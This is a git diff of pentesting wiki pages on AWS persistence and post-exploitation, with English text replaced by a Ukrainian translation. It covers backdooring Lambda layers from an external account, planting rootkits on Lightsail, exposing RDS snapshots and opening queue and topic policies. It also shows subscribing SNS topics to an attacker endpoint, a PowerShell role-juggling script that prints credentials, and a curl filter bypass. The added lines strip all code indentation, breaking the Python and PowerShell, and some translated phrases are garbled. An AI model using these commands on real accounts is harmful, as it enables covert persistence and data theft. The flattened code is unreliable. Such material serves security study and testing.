зовнішнього облікового запису, навіть якщо у неї немає дозволів.\ +Також зверніть увагу, що **максимальна кількість шарів, які може мати lambda, становить 5**. -Therefore, in order to improve the versatility of this technique an attacker could: - -- Backdoor an existing layer of the user (nothing is external) -- **Create** a **layer** in **his account**, give the **victim account access** to use the layer, **configure** the **layer** in victims Lambda and **remove the permission**. - - The **Lambda** will still be able to **use the layer** and the **victim won't** have any easy way to **download the layers code** (apart from getting a rev shell inside the lambda) - - The victim **won't see external layers** used with **`aws lambda list-layers`** +Отже, для покращення універсальності цієї техніки зловмисник може: +- Встановити бекдор у існуючий шар користувача (нічого не є зовнішнім) +- **Створити** **шар** у **своєму обліковому записі**, надати **обліковому запису жертви доступ** до використання шару, **налаштувати** **шар** у Lambda жертви та **видалити дозвіл**. +- **Lambda** все ще зможе **використовувати шар**, а **жертва не** матиме жодного простого способу **завантажити код шарів** (окрім отримання rev shell всередині lambda) +- Жертва **не побачить зовнішні шари**, використані з **`aws lambda list-layers`** ```bash # Upload backdoor layer aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" @@ -126,9 +117,4 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen # Remove permissions aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md index 88b0d082a..ffb3ff652 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md @@ -4,34 +4,30 @@ ## Lightsail -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-lightsail-enum.md {{#endref}} -### Download Instance SSH keys & DB passwords +### Завантаження SSH ключів інстансів та паролів до БД -They won't be changed probably so just having them is a good option for persistence +Вони, ймовірно, не будуть змінені, тому просто їх наявність є хорошим варіантом для збереження доступу. -### Backdoor Instances +### Задні двері в інстансах -An attacker could get access to the instances and backdoor them: +Зловмисник може отримати доступ до інстансів і встановити задні двері: -- Using a traditional **rootkit** for example -- Adding a new **public SSH key** -- Expose a port with port knocking with a backdoor +- Використовуючи традиційний **rootkit**, наприклад +- Додаючи новий **публічний SSH ключ** +- Відкриваючи порт з портовим стуком з задніми дверима -### DNS persistence +### DNS-постійність -If domains are configured: +Якщо домени налаштовані: -- Create a subdomain pointing your IP so you will have a **subdomain takeover** -- Create **SPF** record allowing you to send **emails** from the domain -- Configure the **main domain IP to your own one** and perform a **MitM** from your IP to the legit ones +- Створіть піддомен, що вказує на вашу IP-адресу, щоб ви могли здійснити **піддоменний захват** +- Створіть запис **SPF**, що дозволяє вам надсилати **електронні листи** з домену +- Налаштуйте **IP основного домену на свій власний** і виконайте **MitM** з вашої IP-адреси на легітимні {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md index b7a4b8f7b..ba6728b57 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md @@ -4,32 +4,24 @@ ## RDS -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-relational-database-rds-enum.md {{#endref}} -### Make instance publicly accessible: `rds:ModifyDBInstance` - -An attacker with this permission can **modify an existing RDS instance to enable public accessibility**. +### Зробити екземпляр загальнодоступним: `rds:ModifyDBInstance` +Зловмисник з цим дозволом може **змінити існуючий екземпляр RDS, щоб дозволити загальнодоступний доступ**. ```bash aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately ``` +### Створити адміністратора користувача в базі даних -### Create an admin user inside the DB - -An attacker could just **create a user inside the DB** so even if the master users password is modified he **doesn't lose the access** to the database. - -### Make snapshot public +Зловмисник може просто **створити користувача в базі даних**, тому навіть якщо пароль майстер-користувача буде змінено, він **не втратить доступ** до бази даних. +### Зробити знімок публічним ```bash aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md index f2c4ce048..4b57503c6 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md @@ -4,7 +4,7 @@ ## S3 -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-s3-athena-and-glacier-enum.md @@ -12,18 +12,14 @@ For more information check: ### KMS Client-Side Encryption -When the encryption process is done the user will use the KMS API to generate a new key (`aws kms generate-data-key`) and he will **store the generated encrypted key inside the metadata** of the file ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) so when the decrypting occur it can decrypt it using KMS again: +Коли процес шифрування завершено, користувач використовує KMS API для генерації нового ключа (`aws kms generate-data-key`) і **зберігає згенерований зашифрований ключ у метаданих** файлу ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)), щоб під час розшифровки його можна було знову розшифрувати за допомогою KMS:
-Therefore, and attacker could get this key from the metadata and decrypt with KMS (`aws kms decrypt`) to obtain the key used to encrypt the information. This way the attacker will have the encryption key and if that key is reused to encrypt other files he will be able to use it. +Отже, зловмисник може отримати цей ключ з метаданих і розшифрувати його за допомогою KMS (`aws kms decrypt`), щоб отримати ключ, використаний для шифрування інформації. Таким чином, зловмисник матиме ключ шифрування, і якщо цей ключ буде повторно використано для шифрування інших файлів, він зможе його використовувати. ### Using S3 ACLs -Although usually ACLs of buckets are disabled, an attacker with enough privileges could abuse them (if enabled or if the attacker can enable them) to keep access to the S3 bucket. +Хоча зазвичай ACL для бакетів вимкнені, зловмисник з достатніми привілеями може їх зловживати (якщо вони увімкнені або якщо зловмисник може їх увімкнути), щоб зберегти доступ до S3 бакету. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md index c15f27003..167fed530 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md @@ -4,54 +4,48 @@ ## Secrets Manager -For more info check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-secrets-manager-enum.md {{#endref}} -### Via Resource Policies +### Через політики ресурсів -It's possible to **grant access to secrets to external accounts** via resource policies. Check the [**Secrets Manager Privesc page**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) for more information. Note that to **access a secret**, the external account will also **need access to the KMS key encrypting the secret**. +Можливо **надати доступ до секретів зовнішнім обліковим записам** через політики ресурсів. Перегляньте [**сторінку Privesc Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) для отримання додаткової інформації. Зверніть увагу, що для **доступу до секрету** зовнішній обліковий запис також **потребуватиме доступу до KMS ключа, що шифрує секрет**. -### Via Secrets Rotate Lambda +### Через Secrets Rotate Lambda -To **rotate secrets** automatically a configured **Lambda** is called. If an attacker could **change** the **code** he could directly **exfiltrate the new secret** to himself. - -This is how lambda code for such action could look like: +Щоб **автоматично змінювати секрети**, викликається налаштований **Lambda**. Якщо зловмисник зможе **змінити** **код**, він зможе безпосередньо **екстрактувати новий секрет** для себе. +Ось як може виглядати код lambda для такої дії: ```python import boto3 def rotate_secrets(event, context): - # Create a Secrets Manager client - client = boto3.client('secretsmanager') +# Create a Secrets Manager client +client = boto3.client('secretsmanager') - # Retrieve the current secret value - secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString'] +# Retrieve the current secret value +secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString'] - # Rotate the secret by updating its value - new_secret_value = rotate_secret(secret_value) - client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value) +# Rotate the secret by updating its value +new_secret_value = rotate_secret(secret_value) +client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value) def rotate_secret(secret_value): - # Perform the rotation logic here, e.g., generate a new password +# Perform the rotation logic here, e.g., generate a new password - # Example: Generate a new password - new_secret_value = generate_password() +# Example: Generate a new password +new_secret_value = generate_password() - return new_secret_value +return new_secret_value def generate_password(): - # Example: Generate a random password using the secrets module - import secrets - import string - password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16)) - return password +# Example: Generate a random password using the secrets module +import secrets +import string +password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16)) +return password ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md index 8e97cc81c..1a41ac16c 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md @@ -4,7 +4,7 @@ ## SNS -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-sns-enum.md @@ -12,74 +12,66 @@ For more information check: ### Persistence -When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\ -The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**: - +При створенні **SNS теми** вам потрібно вказати за допомогою IAM політики **хто має доступ до читання та запису**. Можна вказати зовнішні облікові записи, ARN ролей або **навіть "\*"**.\ +Наступна політика надає всім у AWS доступ до читання та запису в SNS темі під назвою **`MySNS.fifo`**: ```json { - "Version": "2008-10-17", - "Id": "__default_policy_ID", - "Statement": [ - { - "Sid": "__default_statement_ID", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": [ - "SNS:Publish", - "SNS:RemovePermission", - "SNS:SetTopicAttributes", - "SNS:DeleteTopic", - "SNS:ListSubscriptionsByTopic", - "SNS:GetTopicAttributes", - "SNS:AddPermission", - "SNS:Subscribe" - ], - "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo", - "Condition": { - "StringEquals": { - "AWS:SourceOwner": "318142138553" - } - } - }, - { - "Sid": "__console_pub_0", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "SNS:Publish", - "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" - }, - { - "Sid": "__console_sub_0", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "SNS:Subscribe", - "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" - } - ] +"Version": "2008-10-17", +"Id": "__default_policy_ID", +"Statement": [ +{ +"Sid": "__default_statement_ID", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"SNS:Publish", +"SNS:RemovePermission", +"SNS:SetTopicAttributes", +"SNS:DeleteTopic", +"SNS:ListSubscriptionsByTopic", +"SNS:GetTopicAttributes", +"SNS:AddPermission", +"SNS:Subscribe" +], +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo", +"Condition": { +"StringEquals": { +"AWS:SourceOwner": "318142138553" +} +} +}, +{ +"Sid": "__console_pub_0", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "SNS:Publish", +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" +}, +{ +"Sid": "__console_sub_0", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "SNS:Subscribe", +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" +} +] } ``` +### Створити підписників -### Create Subscribers - -To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**. - -Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used. +Щоб продовжити ексфільтрацію всіх повідомлень з усіх тем, зловмисник може **створити підписників для всіх тем**. +Зверніть увагу, що якщо **тема є типу FIFO**, можуть використовуватися лише підписники, які використовують протокол **SQS**. ```bash aws sns subscribe --region \ - --protocol http \ - --notification-endpoint http:/// \ - --topic-arn +--protocol http \ +--notification-endpoint http:/// \ +--topic-arn ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md index 88f396173..306020d87 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md @@ -4,40 +4,34 @@ ## SQS -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md {{#endref}} -### Using resource policy - -In SQS you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\ -The following policy gives everyone in AWS access to everything in the queue called **MyTestQueue**: +### Використання політики ресурсів +В SQS вам потрібно вказати за допомогою IAM політики **хто має доступ до читання та запису**. Можна вказати зовнішні облікові записи, ARN ролей або **навіть "\*"**.\ +Наступна політика надає всім у AWS доступ до всього в черзі під назвою **MyTestQueue**: ```json { - "Version": "2008-10-17", - "Id": "__default_policy_ID", - "Statement": [ - { - "Sid": "__owner_statement", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": ["SQS:*"], - "Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue" - } - ] +"Version": "2008-10-17", +"Id": "__default_policy_ID", +"Statement": [ +{ +"Sid": "__owner_statement", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": ["SQS:*"], +"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue" +} +] } ``` - > [!NOTE] -> You could even **trigger a Lambda in the attackers account every-time a new message** is put in the queue (you would need to re-put it) somehow. For this follow these instructinos: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) +> Ви навіть могли б **викликати Lambda в обліковому записі атакуючого щоразу, коли нове повідомлення** потрапляє в чергу (вам потрібно буде якось повторно помістити його). Для цього дотримуйтесь цих інструкцій: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md index c1b9a422b..3bd0aae28 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md @@ -1,6 +1 @@ # AWS - SSM Perssitence - - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md index 4e8c120ff..fa6853959 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md @@ -4,22 +4,18 @@ ## Step Functions -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-stepfunctions-enum.md {{#endref}} -### Step function Backdooring +### Backdooring функцій кроків -Backdoor a step function to make it perform any persistence trick so every time it's executed it will run your malicious steps. +Задніми дверима функцію кроків, щоб вона виконувала будь-який трюк з постійністю, тому що щоразу, коли її виконують, вона запускатиме ваші шкідливі кроки. -### Backdooring aliases +### Задніми дверима псевдоніми -If the AWS account is using aliases to call step functions it would be possible to modify an alias to use a new backdoored version of the step function. +Якщо обліковий запис AWS використовує псевдоніми для виклику функцій кроків, буде можливим змінити псевдонім, щоб використовувати нову версію функції кроків із задніми дверима. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md index 74db04bec..bbdab991d 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md @@ -4,62 +4,59 @@ ## STS -For more information access: +Для отримання додаткової інформації зверніться до: {{#ref}} ../aws-services/aws-sts-enum.md {{#endref}} -### Assume role token +### Токен ролі -Temporary tokens cannot be listed, so maintaining an active temporary token is a way to maintain persistence. +Тимчасові токени не можуть бути перераховані, тому підтримка активного тимчасового токена є способом підтримки стійкості.
aws sts get-session-token --duration-seconds 129600
 
-# With MFA
+# З MFA
 aws sts get-session-token \
-    --serial-number <mfa-device-name> \
-    --token-code <code-from-token>
+--serial-number <mfa-device-name> \
+--token-code <code-from-token>
 
-# Hardware device name is usually the number from the back of the device, such as GAHT12345678
-# SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
-# Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
+# Ім'я апаратного пристрою зазвичай є номером ззаду пристрою, наприклад GAHT12345678
+# Ім'я SMS пристрою - це ARN в AWS, наприклад arn:aws:iam::123456789012:sms-mfa/username
+# Ім'я віртуального пристрою - це ARN в AWS, наприклад arn:aws:iam::123456789012:mfa/username
 
-### Role Chain Juggling +### Жонглювання ролями -[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), often utilized for maintaining stealth persistence. It involves the ability to **assume a role which then assumes another**, potentially reverting to the initial role in a **cyclical manner**. Each time a role is assumed, the credentials' expiration field is refreshed. Consequently, if two roles are configured to mutually assume each other, this setup allows for the perpetual renewal of credentials. - -You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going: +[**Жонглювання ролями є визнаною функцією AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), часто використовується для підтримки прихованої стійкості. Це передбачає можливість **приймати роль, яка потім приймає іншу**, потенційно повертаючись до початкової ролі в **циклічний спосіб**. Кожного разу, коли роль приймається, поле терміну дії облікових даних оновлюється. Отже, якщо дві ролі налаштовані на взаємне прийняття одна одної, ця конфігурація дозволяє безперервне оновлення облікових даних. +Ви можете використовувати цей [**інструмент**](https://github.com/hotnops/AWSRoleJuggler/) для підтримки жонглювання ролями: ```bash ./aws_role_juggler.py -h usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]] optional arguments: - -h, --help show this help message and exit - -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...] +-h, --help show this help message and exit +-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...] ``` - > [!CAUTION] -> Note that the [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) script from that Github repository doesn't find all the ways a role chain can be configured. +> Зверніть увагу, що скрипт [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) з цього репозиторію Github не знаходить усі способи, якими може бути налаштований ланцюг ролей.
-Code to perform Role Juggling from PowerShell - +Код для виконання Role Juggling з PowerShell ```powershell # PowerShell script to check for role juggling possibilities using AWS CLI # Check for AWS CLI installation if (-not (Get-Command "aws" -ErrorAction SilentlyContinue)) { - Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'." - exit +Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'." +exit } # Function to list IAM roles function List-IAMRoles { - aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json +aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json } # Initialize error count @@ -70,66 +67,61 @@ $roles = List-IAMRoles | ConvertFrom-Json # Attempt to assume each role foreach ($role in $roles) { - $sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) - try { - $credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json - if ($credentials) { - Write-Host "Successfully assumed role: $($role.RoleName)" - Write-Host "Access Key: $($credentials.AccessKeyId)" - Write-Host "Secret Access Key: $($credentials.SecretAccessKey)" - Write-Host "Session Token: $($credentials.SessionToken)" - Write-Host "Expiration: $($credentials.Expiration)" +$sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) +try { +$credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json +if ($credentials) { +Write-Host "Successfully assumed role: $($role.RoleName)" +Write-Host "Access Key: $($credentials.AccessKeyId)" +Write-Host "Secret Access Key: $($credentials.SecretAccessKey)" +Write-Host "Session Token: $($credentials.SessionToken)" +Write-Host "Expiration: $($credentials.Expiration)" - # Set temporary credentials to assume the next role - $env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId - $env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey - $env:AWS_SESSION_TOKEN = $credentials.SessionToken +# Set temporary credentials to assume the next role +$env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId +$env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey +$env:AWS_SESSION_TOKEN = $credentials.SessionToken - # Try to assume another role using the temporary credentials - foreach ($nextRole in $roles) { - if ($nextRole.Arn -ne $role.Arn) { - $nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) - try { - $nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json - if ($nextCredentials) { - Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)" - Write-Host "Access Key: $($nextCredentials.AccessKeyId)" - Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)" - Write-Host "Session Token: $($nextCredentials.SessionToken)" - Write-Host "Expiration: $($nextCredentials.Expiration)" - } - } catch { - $errorCount++ - } - } - } +# Try to assume another role using the temporary credentials +foreach ($nextRole in $roles) { +if ($nextRole.Arn -ne $role.Arn) { +$nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) +try { +$nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json +if ($nextCredentials) { +Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)" +Write-Host "Access Key: $($nextCredentials.AccessKeyId)" +Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)" +Write-Host "Session Token: $($nextCredentials.SessionToken)" +Write-Host "Expiration: $($nextCredentials.Expiration)" +} +} catch { +$errorCount++ +} +} +} - # Reset environment variables - Remove-Item Env:\AWS_ACCESS_KEY_ID - Remove-Item Env:\AWS_SECRET_ACCESS_KEY - Remove-Item Env:\AWS_SESSION_TOKEN - } else { - $errorCount++ - } - } catch { - $errorCount++ - } +# Reset environment variables +Remove-Item Env:\AWS_ACCESS_KEY_ID +Remove-Item Env:\AWS_SECRET_ACCESS_KEY +Remove-Item Env:\AWS_SESSION_TOKEN +} else { +$errorCount++ +} +} catch { +$errorCount++ +} } # Output the number of errors if any if ($errorCount -gt 0) { - Write-Host "$errorCount error(s) occurred during role assumption attempts." +Write-Host "$errorCount error(s) occurred during role assumption attempts." } else { - Write-Host "No errors occurred. All roles checked successfully." +Write-Host "No errors occurred. All roles checked successfully." } Write-Host "Role juggling check complete." ``` -
{{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md index 53f79d916..70821d56e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md @@ -1,6 +1 @@ -# AWS - Post Exploitation - - - - - +# AWS - Постексплуатація diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md index 4847c40e0..135c09a80 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md @@ -4,48 +4,43 @@ ## API Gateway -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-api-gateway-enum.md {{#endref}} -### Access unexposed APIs +### Доступ до неекспонованих API -You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\ -Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn't exposed before. +Ви можете створити кінцеву точку в [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) з сервісом `com.amazonaws.us-east-1.execute-api`, експонувати кінцеву точку в мережі, до якої у вас є доступ (можливо, через машину EC2) і призначити групу безпеки, що дозволяє всі з'єднання.\ +Потім, з машини EC2 ви зможете отримати доступ до кінцевої точки і, отже, викликати API шлюзу, який раніше не був експонований. -### Bypass Request body passthrough +### Обхід пропуску тіла запиту -This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). +Цю техніку було виявлено в [**цьому CTF звіті**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). -As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation. - -Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`: +Як зазначено в [**документації AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) в розділі `PassthroughBehavior`, за замовчуванням значення **`WHEN_NO_MATCH`**, при перевірці заголовка **Content-Type** запиту, передасть запит на задній план без трансформації. +Отже, в CTF API Gateway мав шаблон інтеграції, який **перешкоджав ексфільтрації прапора** у відповіді, коли запит надсилався з `Content-Type: application/json`: ```yaml RequestTemplates: - application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' +application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' ``` +Однак, надсилання запиту з **`Content-type: text/json`** запобігло б цьому фільтру. -However, sending a request with **`Content-type: text/json`** would prevent that filter. - -Finally, as the API Gateway was only allowing `Get` and `Options`, it was possible to send an arbitrary dynamoDB query without any limit sending a POST request with the query in the body and using the header `X-HTTP-Method-Override: GET`: - +Нарешті, оскільки API Gateway дозволяв лише `Get` та `Options`, було можливим надіслати довільний запит до dynamoDB без жодних обмежень, надіславши POST-запит з запитом у тілі та використовуючи заголовок `X-HTTP-Method-Override: GET`: ```bash curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}' ``` - ### Usage Plans DoS -In the **Enumeration** section you can see how to **obtain the usage plan** of the keys. If you have the key and it's **limited** to X usages **per month**, you could **just use it and cause a DoS**. +У розділі **Enumeration** ви можете побачити, як **отримати план використання** ключів. Якщо у вас є ключ і він **обмежений** до X використань **на місяць**, ви можете **просто використовувати його і викликати DoS**. -The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**. +**API Key** просто потрібно **включити** в **HTTP заголовок** під назвою **`x-api-key`**. ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment` -An attacker with the permissions `apigateway:UpdateGatewayResponse` and `apigateway:CreateDeployment` can **modify an existing Gateway Response to include custom headers or response templates that leak sensitive information or execute malicious scripts**. - +Зловмисник з правами `apigateway:UpdateGatewayResponse` та `apigateway:CreateDeployment` може **модифікувати існуючу відповідь шлюзу, щоб включити користувацькі заголовки або шаблони відповідей, які витікають чутливу інформацію або виконують шкідливі скрипти**. 